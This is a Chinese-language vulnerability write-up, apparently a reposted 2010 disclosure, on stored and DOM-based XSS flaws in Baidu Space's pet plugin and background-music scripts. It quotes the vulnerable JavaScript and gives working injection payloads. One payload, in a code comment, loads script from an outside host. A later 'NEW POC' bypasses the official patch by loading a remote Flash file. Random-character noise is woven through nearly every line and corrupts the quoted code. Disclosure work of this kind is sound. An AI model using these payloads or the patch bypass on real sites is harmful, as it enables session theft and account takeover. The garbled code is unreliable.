百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS. 2 i. A" G( O, J" t$ C$ j I0 \9 U
5 m; [8 R2 h6 L9 z0 B
1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.
2 O; @% V7 R. s, Q( ~# \& a. J2.在http://hi.baidu.com/ui/scripts/pet/pet.js中
0 v0 W0 N4 O# y3 q/ ?* ^! A4 H! r0 Z+ v" C) U
将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>
# [2 N) o, p G5 s3 w其中BdUtil.insertWBR为 2 ^5 e7 M; R/ J4 F# S Q! d
function(text, step) {
3 ]8 V$ q" d4 V: V- m var textarea = textAreaCache || getContainer(); , h4 @4 \/ l2 c0 k' f& N
if (!textarea) { # I/ {5 P6 e: q5 r
return text;
; r5 k8 x0 |2 d& }& V; B' T }
$ K1 L {6 K! o3 w( Z& O6 \ textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");
7 p. a. d% v- ?" w var string = textarea.value;
4 A& C/ P6 V4 C, A var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");
7 d& l2 |# J. s; R3 P var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");
" |* F [2 B6 w; R! B( ` return result; ; E5 _; e7 I7 }( V/ O
}
" Z& _9 @8 [' I8 |# u在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS. . [4 {% a6 @, l! Q# A; i
测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>
9 O7 T% U% j1 @
4 Q2 D- o& N5 U/ E+ q二:creatbgmusic() Dom-Xss Bug + m( D6 O( @ U% {( A- z
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞
' P, W" l E3 {3 ]+ t8 P
. Y& ^5 F: @; r# E" V4 o; B9 B& _; y- Z在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:
4 W1 N% w* @& @7 N. e; H2 N+ Q0 G% u* A3 z& ^2 n( y) \9 M, v/ h
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {
# |( |- ~$ \' o8 i9 r. A F //传入的murl赋值到bgmusic1和bgmusic2中
' v$ ~% P7 t+ z: g, i9 W7 k //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1
: p8 g& l0 Q3 z( \, X6 T var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";
, _& l- S0 r. o9 Z if (musicnum <= 1) {
) l/ V, e+ c) B+ [# m& w bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";
4 }" d. o# W+ A1 s1 y }
1 p6 d9 Q7 D; y" D6 ]7 e bgmusic1 += "</OBJECT>"; , l0 n1 e4 k# _! B; F& O- s
var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";
6 x" C8 H8 v" O' S) l: I1 F if (musicnum <= 1) { , b& t/ y6 g7 O; p/ \7 m! u5 W
bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" "; - Z4 ]7 v! ?$ o6 Z2 c1 ^
}
5 y* }3 G9 g" q i& _+ p- L6 J bgmusic2 += "> </EMBED>"; $ D4 V: y& C. |2 C$ D: y
var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>"; 3 P5 g! z [/ E5 @& N
var bgmus = detectWMP();
0 c' ~3 J, n8 s if (functype == "FckMusicHelper") {
: \% w% r$ {2 b% X. Q' [: a if (bgmus.installed) {
% z8 A$ Z3 U2 X$ l. _ if (bgmus.type == "IE") { * r( I# @) @$ J/ `
return bgmusic1; : e! {2 r) b9 u7 q- C; ~/ x9 {
} else if (bgmus.type == "NS") { + a5 }6 ?9 `) \9 e
return bgmusic2; ; E1 o- }" C' Q; t5 }
}
( J- Q8 O; B+ N5 M9 e k$ m } else {
8 L" ]2 E6 L% t& {, P6 H, d return bgmusic3; 2 \+ [+ M$ A E; x& B" x! Z+ e5 J
} 2 x' P6 x! ]# a [# e8 l% n$ q8 ^
} else {
% z- o5 u& ` E) U: _* U if (bgmus.installed) { 8 h& B/ }/ ]" U
//document.write 直接输出bgmusic变量 导致xss 8 \ A7 V0 S+ \
if (bgmus.type == "IE") { ' z2 O8 }! E3 D; ?- k$ @
document.write(bgmusic1); 0 g1 t W* z3 n
} else if (bgmus.type == "NS") { & E' T) G: q: |3 I; H
document.write(bgmusic2);
3 b8 L- ~ e5 { G) t% [ } & R: r* u# N! \% t# c- l# h V
} else {
( R/ v) A: [ \3 A/ b6 E9 w. i+ z document.write(bgmusic3); & a( o, t a" O2 P# _" r# t
}
" L; j% L0 l. B. R F! M) E1 r return ""; 6 Q. n( n/ q" H0 s/ M6 ]
}
7 w6 ~3 \) m8 {: O: Z} + F. g! {! F; \
( R. j! B- I! Z在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下: " j& |5 H6 M- n# Q" V
# _' f+ {2 ]" E; _- \2 Lfunction initBlogTextForFCK(){ / L2 a( k0 ?7 k. y- C# ?
//fck init music ; w- ?2 ?+ ^- a; }
if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}
- H1 B* ^* T' c8 @6 P2 @2 Fvar imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组
! p+ n% ^2 f& D+ C# o+ X2 ~var isAutoPlay=true; - u! z, Y' c1 M6 p6 p$ v
for(var i=0,n=imgBox.length;i<n;i++){ //然后遍历. + e& n3 `* l( H$ Z! V3 P' L# `
var img=imgBox; . ?+ X7 k% h' h
if(img.getAttribute(’rel’)){
3 ?4 G7 ^1 ]% {2 w* n. q var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc 8 ~& ^$ b+ W k# f
var musicDiv = document.createElement("SPAN");
7 j. @1 l; \3 Y& _% w var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp] ) o: n3 I) E) N; l+ R/ L6 [
, G& y! ]' f+ U6 a5 _. C ..........................
4 o. V. B0 H. J# I) C, q3 \ 7 F z2 H: M; L( O
//直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来. 0 y' `1 r' s- P( t* G
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
* U. x. P' Z) Y shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv); : @3 s, X; B; c- H
musicDiv.innerHTML=shtml;
" q& o; R) G# {: S8 r- ? i--;n--; - T0 K' k1 V3 b) Z3 n4 x5 K& Q
}
+ _$ U3 M5 I- r0 M+ [: _* w% B} 7 _ u G8 A3 b% Q' G
- Y0 [6 J4 A8 P0 I, z* e6 ~3 |! R' H
从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.
- X; h- K e9 x0 p 0 N# H5 f& H) U# n- \5 t. N
测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>
. P! `3 n0 C% k" b3 \! X: L- h
7 ?; l! U8 G" j2 I* Q# `等待官方补丁
$ u4 K+ G, r3 y4 `' N) J% ?4 o
* `/ t- o" F* K5 m# c4 c' pupdate 2010年5月13日 * J7 c, ]+ X- i. ]# M
, T8 ]' f$ p' M6 J
官方补丁: 5 L5 m# }9 r- Z1 U' e' I9 x
2 \6 ~4 B, P9 F; S3 h h
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
# P& d1 }/ C# f3 v改为: ) M, k' q! O3 M
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);
5 L0 w3 F) W5 M" F0 ]; N+ ]4 i* C) T0 l& K: S0 f
update 2010年5月13日 21:50:37 ) q) u( I3 ?8 H! J7 T$ ]! e! T
( \- m8 ?9 c; X, w3 |
补丁存在漏洞 没有过滤" 可以继续跨:
( i( N. {8 z' ^. X1 K0 O& M
. b: W5 J# a. b/ wNEW POC:
/ |! b$ p. a" W) K6 `1 m, v( n; U- r% } O+ F' g* c* i# C* N% ]7 O' m
<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf"
, N7 R! o3 b' [2 R3 {
9 J$ e, o) ?3 P3 sallowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>3 g; z' U' `# v$ w6 Y
0 ] ~) V' a5 N) g
|